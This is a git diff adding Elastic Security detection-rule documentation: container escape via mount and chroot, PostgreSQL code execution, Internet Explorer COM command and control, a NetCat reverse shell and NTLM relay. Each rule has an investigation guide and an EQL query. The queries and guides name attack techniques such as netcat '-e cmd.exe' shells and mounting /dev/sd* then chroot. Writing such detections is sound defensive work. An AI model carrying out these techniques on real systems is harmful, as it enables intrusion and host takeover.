+** Reference URL: https://attack.mitre.org/techniques/T1212/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-chroot-container-escape-via-mount.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-chroot-container-escape-via-mount.asciidoc new file mode 100644 index 0000000000..24362e953f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-chroot-container-escape-via-mount.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-potential-chroot-container-escape-via-mount]] +=== Potential Chroot Container Escape via Mount + +Monitors for the execution of a file system mount followed by a chroot execution. Given enough permissions, a user within a container is capable of mounting the root file system of the host, and leveraging chroot to escape its containarized environment. This behavior pattern is very uncommon and should be investigated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/v/portugues-ht/linux-hardening/privilege-escalation/escaping-from-limited-bash + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Domain: Containers +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Chroot Container Escape via Mount* + + +Chroot and mount are Linux utilities that can isolate processes and manage file systems, respectively. Adversaries may exploit these to escape containerized environments by mounting the host's root file system and using chroot to change the root directory, gaining unauthorized access. The detection rule identifies this rare sequence by monitoring for mount and chroot executions within a short timeframe, signaling potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.parent.entity_id associated with the alert to understand which system and parent process are involved. +- Examine the process execution timeline to confirm the sequence of the mount and chroot commands, ensuring they occurred within the specified maxspan of 5 minutes. +- Investigate the process.args field for the mount command to determine the specific device or file system being targeted, especially focusing on any /dev/sd* entries that suggest attempts to access physical disks. +- Check the user permissions and roles associated with the process.parent.name (e.g., bash, dash, sh) to assess if the user had sufficient privileges to perform such operations. +- Analyze the broader context of the host.os.type to identify any recent changes or anomalies in the Linux environment that could have facilitated this behavior. +- Correlate with other security logs or alerts from the same host to identify any additional suspicious activities or patterns that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- System maintenance scripts may trigger the rule if they involve mounting and chroot operations. Review scheduled tasks and scripts to identify legitimate use and consider excluding these specific processes from the rule. +- Backup or recovery operations that require mounting file systems and changing root directories can also cause false positives. Identify these operations and create exceptions for the associated processes or users. +- Development or testing environments where users frequently perform mount and chroot operations for legitimate purposes may trigger alerts. Evaluate the necessity of these actions and exclude known safe processes or users. +- Automated deployment tools that use mount and chroot as part of their setup routines can be mistaken for malicious activity. Verify the tools and their processes, then add them to an exclusion list if they are deemed safe. +- Custom scripts executed by trusted users that involve mount and chroot should be reviewed. If these scripts are part of regular operations, consider excluding them from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or potential lateral movement within the host system. +- Terminate any suspicious processes identified as executing the mount or chroot commands within the container to halt any ongoing escape attempts. +- Conduct a thorough review of the container's permissions and configurations to ensure that only necessary privileges are granted, reducing the risk of similar exploits. +- Inspect the host system for any signs of compromise or unauthorized access, focusing on logs and system changes around the time of the detected activity. +- Restore the container from a known good backup if any unauthorized changes or compromises are detected, ensuring the environment is clean and secure. +- Update and patch the container and host systems to address any known vulnerabilities that could be exploited for privilege escalation or container escape. +- Escalate the incident to the security operations team for further analysis and to determine if additional monitoring or security measures are required to prevent future occurrences. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Session View uses process data collected by the Elastic Defend integration, but this data is not always collected by default. Session View is available on enterprise subscription for versions 8.3 and above. + +*To confirm that Session View data is enabled:* + +- Go to “Manage → Policies”, and edit one or more of your Elastic Defend integration policies. +- Select the” Policy settings” tab, then scroll down to the “Linux event collection” section near the bottom. +- Check the box for “Process events”, and turn on the “Include session data” toggle. +- If you want to include file and network alerts in Session View, check the boxes for “Network and File events”. +- If you want to enable terminal output capture, turn on the “Capture terminal output” toggle. +For more information about the additional fields collected when this setting is enabled and the usage of Session View for Analysis refer to the https://www.elastic.co/guide/en/security/current/session-view.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=5m + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.name == "mount" and process.args : "/dev/sd*" and process.args_count >= 3 and + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.name == "chroot"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-code-execution-via-postgresql.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-code-execution-via-postgresql.asciidoc new file mode 100644 index 0000000000..1be319b0ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-code-execution-via-postgresql.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-potential-code-execution-via-postgresql]] +=== Potential Code Execution via Postgresql + +This rule monitors for suspicious activities that may indicate an attacker attempting to execute arbitrary code within a PostgreSQL environment. Attackers can execute code via PostgreSQL as a result of gaining unauthorized access to a public facing PostgreSQL database or exploiting vulnerabilities, such as remote command execution and SQL injection attacks, which can result in unauthorized access and malicious actions, and facilitate post-exploitation activities for unauthorized access and malicious actions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Code Execution via Postgresql* + + +PostgreSQL, a robust open-source database system, can be exploited by attackers to execute arbitrary code if they gain unauthorized access or exploit vulnerabilities like SQL injection. Adversaries may leverage command execution capabilities to perform malicious actions. The detection rule identifies suspicious processes initiated by the PostgreSQL user, focusing on shell executions that resemble command injection patterns, while excluding legitimate operations, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious shell executions by the PostgreSQL user, focusing on processes with arguments containing "*sh" and "echo*". +- Check the parent process information to determine if the process was initiated by a known legitimate service, such as "puppet", or if it includes "BECOME-SUCCESS-" in the command line, which are excluded from the rule. +- Investigate the source of the PostgreSQL access to identify if it originated from an unauthorized or unusual IP address or user account. +- Analyze the timeline of events leading up to and following the alert to identify any patterns or additional suspicious activities that may indicate a broader attack. +- Correlate the alert with other security events or logs from the same host or network segment to assess if there are related indicators of compromise or ongoing threats. + + +*False positive analysis* + + +- Puppet processes may trigger false positives due to their legitimate use of shell commands. To mitigate this, ensure that puppet-related processes are excluded by verifying that process.parent.name is set to "puppet". +- Automation tools that use shell scripts for configuration management might be flagged. Review and exclude these by checking for specific command patterns that are known to be safe, such as those containing "BECOME-SUCCESS". +- Scheduled maintenance scripts executed by the postgres user could be misidentified as threats. Identify these scripts and add them to an exclusion list based on their command line patterns. +- Regular database backup operations that involve shell commands might be mistakenly flagged. Document these operations and exclude them by matching their specific command line arguments. +- Custom monitoring scripts that execute shell commands under the postgres user should be reviewed and excluded if they are verified as non-malicious. + + +*Response and remediation* + + +- Immediately isolate the affected PostgreSQL server from the network to prevent further unauthorized access or malicious actions. +- Terminate any suspicious processes identified by the detection rule to halt potential malicious activities. +- Conduct a thorough review of the PostgreSQL server logs to identify any unauthorized access attempts or successful exploitations, focusing on the timeframes around the detected events. +- Reset credentials for the PostgreSQL user and any other potentially compromised accounts to prevent further unauthorized access. +- Apply the latest security patches and updates to the PostgreSQL server to mitigate known vulnerabilities that could be exploited. +- Implement network segmentation to limit access to the PostgreSQL server, ensuring only authorized systems and users can connect. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "fork", "fork_event") and user.name == "postgres" and ( + (process.parent.args : "*sh" and process.parent.args : "echo*") or + (process.args : "*sh" and process.args : "echo*") +) and not ( + process.parent.name == "puppet" or + process.command_line like ( + "*BECOME-SUCCESS-*", "bash -c while true; do sleep 1;*", "df -l", "sleep 1", "who", "head -v -n *", "tail -v -n *", + "/bin/sh -c echo BECOME-SUCCESS*", "/usr/bin/python3 /var/tmp/ansible-tmp*", "*chpasswd*" + ) or + process.parent.command_line like ("*BECOME-SUCCESS-*", "-bash -c echo $HOME", "su - postgres -c echo $HOME") or + process.parent.executable in ("/usr/bin/watch", "/bin/diskmgr", "/usr/bin/diskmgr") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-command-and-control-via-internet-explorer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-command-and-control-via-internet-explorer.asciidoc new file mode 100644 index 0000000000..338b46fc8a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-command-and-control-via-internet-explorer.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-potential-command-and-control-via-internet-explorer]] +=== Potential Command and Control via Internet Explorer + +Identifies instances of Internet Explorer (iexplore.exe) being started via the Component Object Model (COM) making unusual network connections. Adversaries could abuse Internet Explorer via COM to avoid suspicious processes making network connections and bypass host-based firewall restrictions. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Command and Control via Internet Explorer* + + +Internet Explorer can be manipulated via the Component Object Model (COM) to initiate network connections, potentially bypassing security measures. Adversaries exploit this by embedding IE in processes like rundll32.exe, making it appear benign. The detection rule identifies unusual DNS queries from IE, excluding common Microsoft domains, to flag suspicious activity indicative of command and control attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host and user associated with the suspicious activity, focusing on the host.id and user.name fields. +- Examine the process tree on the affected host to confirm if Internet Explorer (iexplore.exe) was indeed started via COM, specifically looking for the parent process rundll32.exe or regsvr32.exe with IEProxy.dll loaded. +- Analyze the DNS queries made by Internet Explorer to identify any unusual or suspicious domains that are not part of the common Microsoft or OCSP-related domains listed in the exclusion list. +- Check the network connections initiated by Internet Explorer to determine if there are any unexpected or unauthorized external IP addresses or domains being contacted. +- Investigate the context and timing of the alert by correlating it with other security events or logs from the same host or user to identify any patterns or additional indicators of compromise. +- Assess the risk and potential impact of the detected activity by considering the severity of the alert and any additional findings from the investigation steps above. + + +*False positive analysis* + + +- Internet Explorer may make legitimate DNS queries to domains not listed in the exclusion list, such as those related to third-party services or internal company resources. Users should monitor and identify these domains and consider adding them to the exclusion list if they are verified as non-threatening. +- Some enterprise environments may use custom applications that leverage Internet Explorer via COM for legitimate purposes. In such cases, users should identify these applications and create exceptions for their associated processes to prevent false positives. +- Regular updates or patches from non-Microsoft sources might trigger alerts if they use Internet Explorer for network connections. Users should verify the legitimacy of these updates and adjust the exclusion list accordingly. +- Internal network monitoring tools or scripts that use Internet Explorer for testing or monitoring purposes could be flagged. Users should document these tools and exclude their associated network activities from the detection rule. +- If a specific user or department frequently triggers alerts due to legitimate use of Internet Explorer, consider creating user or department-specific exceptions to reduce noise while maintaining security oversight. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further command and control communication and potential data exfiltration. +- Terminate the Internet Explorer process (iexplore.exe) and any associated processes like rundll32.exe or regsvr32.exe that are identified as suspicious. +- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to identify and remove any malicious software or scripts. +- Review and analyze the DNS query logs to identify any other potentially compromised hosts within the network that may have communicated with the same suspicious domains. +- Restore the affected system from a known good backup if malware is confirmed and cannot be fully removed, ensuring that the backup is free from compromise. +- Implement network-level controls to block the identified suspicious domains and IP addresses to prevent future communication attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, user.name with maxspan = 5s + [library where host.os.type == "windows" and dll.name : "IEProxy.dll" and process.name : ("rundll32.exe", "regsvr32.exe")] + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "iexplore.exe" and process.parent.args : "-Embedding"] + /* IE started via COM in normal conditions makes few connections, mainly to Microsoft and OCSP related domains, add FPs here */ + [network where host.os.type == "windows" and network.protocol == "dns" and process.name : "iexplore.exe" and + not dns.question.name : + ( + "*.microsoft.com", + "*.digicert.com", + "*.msocsp.com", + "*.windowsupdate.com", + "*.bing.com", + "*.identrust.com", + "*.sharepoint.com", + "*.office365.com", + "*.office.com" + ) + ] /* with runs=5 */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-command-shell-via-netcat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-command-shell-via-netcat.asciidoc new file mode 100644 index 0000000000..e18006faf9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-command-shell-via-netcat.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-potential-command-shell-via-netcat]] +=== Potential Command Shell via NetCat + +Identifies potential attempt to execute via a reverse shell using the netcat utility to execute Windows commands using the default interpreters like Cmd.exe and Powershell. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Command Shell via NetCat* + + + +*Possible investigation steps* + + +- Which remote-shell mode does the alert-local process evidence show? + - Focus: `process.parent.command_line`, `process.parent.args_count`, and `process.name`. + - Implication: escalate when "-e" wires "cmd.exe" or "powershell.exe" to an explicit IP, unusual port, or "-l"/"-p" listener; lower concern only when shell mode, port or destination, and child shell match a known lab, red-team, or break-glass workflow. + +- Does the parent binary identity fit a recognized NetCat-family tool instead of a renamed payload? + - Focus: `process.parent.executable`, `process.parent.name`, and code signature. + - Implication: escalate when the parent is unsigned, renamed, or runs from temp, downloads, archives, shares, or another user-writable path; identity lowers concern only when path and signer fit the same controlled tool, and never clears the `-e` shell behavior by itself. + +- Do recovered parent network events confirm a connect-back destination or exposed listener? + - Focus: network events on `host.id` for `process.parent.entity_id`; separate DNS `dns.question.name` from `destination.ip`, `destination.port`, and `network.direction`. !{investigate{"description":"","label":"Network events for the netcat parent process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: network fields come from endpoint network events, not the process alert; compare any command-line IP or port with recovered connections. + - Implication: escalate when recovered connections confirm a public or unexpected destination, or a listener is exposed on an unexpected asset; missing network telemetry is unresolved, not benign. + +- Did the spawned shell launch operator commands after start? + - Focus: child process starts where `process.parent.entity_id` matches the spawned shell `process.entity_id`; review `process.name`, `process.executable`, and `process.command_line`. !{investigate{"description":"","label":"Descendant processes from the spawned shell","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when descendants show reconnaissance, credential, download, persistence, staging, lateral movement, or cleanup; no descendants weakens operator-control evidence but does not make the remote-shell pattern benign. + +- Does the user and host context support the shell exposure? + - Focus: `user.id`, `user.name`, `host.id`, `host.name`, and `process.parent.command_line`. + - Implication: escalate when user-host pairing or account identity conflicts with expected testing or emergency use; lower concern only when the same user, host, and parent command fit one bounded authorized activity. + +- If local evidence is suspicious or unresolved, do surrounding alerts expand the scope? + - Focus: alerts for the same `user.id`, especially execution, defense-evasion, persistence, credential-access, lateral-movement, or command-and-control tied to the same parent command or recovered destination. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: also check the same `host.id` to decide whether this remains one process on one asset or part of a broader compromise. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand response scope when surrounding alerts share the user, host, parent command, or recovered destination pattern; keep triage local when no corroborating alerts appear after the parent, network, and descendant checks. + +- What disposition is supported by shell mode, parent identity, descendant commands, network recovery, user-host context, and alert scope? + - Focus: synthesize shell mode, parent identity, descendants, network recovery, user-host context, and alert scope. + - Implication: escalate on alert-local "-e" behavior plus any corroborator: unrecognized parent, external or exposed network evidence, operator descendants, user-host conflict, or related alerts. Close only when all categories bind to one authorized security-testing or break-glass activity with no contradictions; if telemetry cannot prove legitimacy, require outside confirmation. Preserve artifacts and escalate when evidence is mixed or visibility is incomplete. + + +*False positive analysis* + + +- NetCat "-e" shells are an operational anti-pattern outside confirmed security testing or break-glass support. Confirm benign use only when parent path and signer, exact parent command, shell mode, child shell, recovered destination or listen-port evidence, `user.id`, and `host.id` all align to the same bounded workflow. Use schedules, tickets, or owner confirmation only to corroborate that telemetry-matched activity; without them, require telemetry-only confirmation that the same user, host, parent command, and destination or port pattern recur for this rule. Any mismatch keeps the alert suspicious. +- Before creating an exception, validate stability across prior alerts for the same `user.id` and `host.id`. Anchor the exception on `process.parent.executable`, `process.parent.command_line`, child `process.command_line`, user/host scope, and recovered destination or listen-port pattern. Avoid exceptions on `process.name`, parent basename, or shell name alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the parent identity, exact command, shell mode, child shell, user/host scope, and recovered destination or listen-port evidence that proved the workflow. Create an exception only if that same workflow is stable across prior alerts from this rule. +- If suspicious but unconfirmed, preserve volatile state and case exports first: parent and child process entity IDs, command lines, descendant commands, parent binary path and signer, and recovered network indicators. Apply reversible containment tied to the findings, such as temporary destination blocks, firewall control of the exposed listener, or host isolation when interactive control or broader scope is likely and the host can tolerate it. Avoid process termination or deletion until evidence capture is complete. +- If confirmed malicious, first record `process.parent.entity_id`, `process.entity_id`, parent and child command lines, descendant commands, and recovered network indicators. Then isolate the host as appropriate, block recovered destination, domain, IP, or port indicators, and terminate the NetCat parent, spawned shell, and malicious descendants after evidence capture. Reset credentials only when descendant commands, user-host context, or related alerts show credential or administrator-command exposure. +- Eradicate only artifacts found during the investigation: the NetCat binary or script wrapper, staged payloads, persistence, service or listener configuration, tunnels, and cleanup scripts. Then remediate the delivery path that placed the tool on the host. +- Post-incident hardening: restrict unauthorized NetCat-family binaries and "-e" shell usage, retain process and network telemetry, and document adjacent variants such as renamed utilities, relay mode without "-e", or delayed shell handoff in the case record for future response. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +process.name : ("cmd.exe", "powershell.exe") and process.parent.args : "-e" and + ( + (process.parent.args_count == 5 and process.parent.command_line regex~ """.*[0-9]{1,3}(\.[0-9]{1,3}){3}.*""") or + (process.parent.args : "-*l*" and process.parent.args : "-*p*" and process.parent.args : ("cmd.exe", "powershell.exe")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-computer-account-ntlm-relay-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-computer-account-ntlm-relay-activity.asciidoc new file mode 100644 index 0000000000..0f51cb1989 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-computer-account-ntlm-relay-activity.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-potential-computer-account-ntlm-relay-activity]] +=== Potential Computer Account NTLM Relay Activity + +Identifies potential relay activities against a Computer account by identifying authentication events using the computer account coming from from hosts other than the server that owns the account. Attackers may relay the computer account hash after capturing it using forced authentication. + +*Rule type*: eql + +*Rule 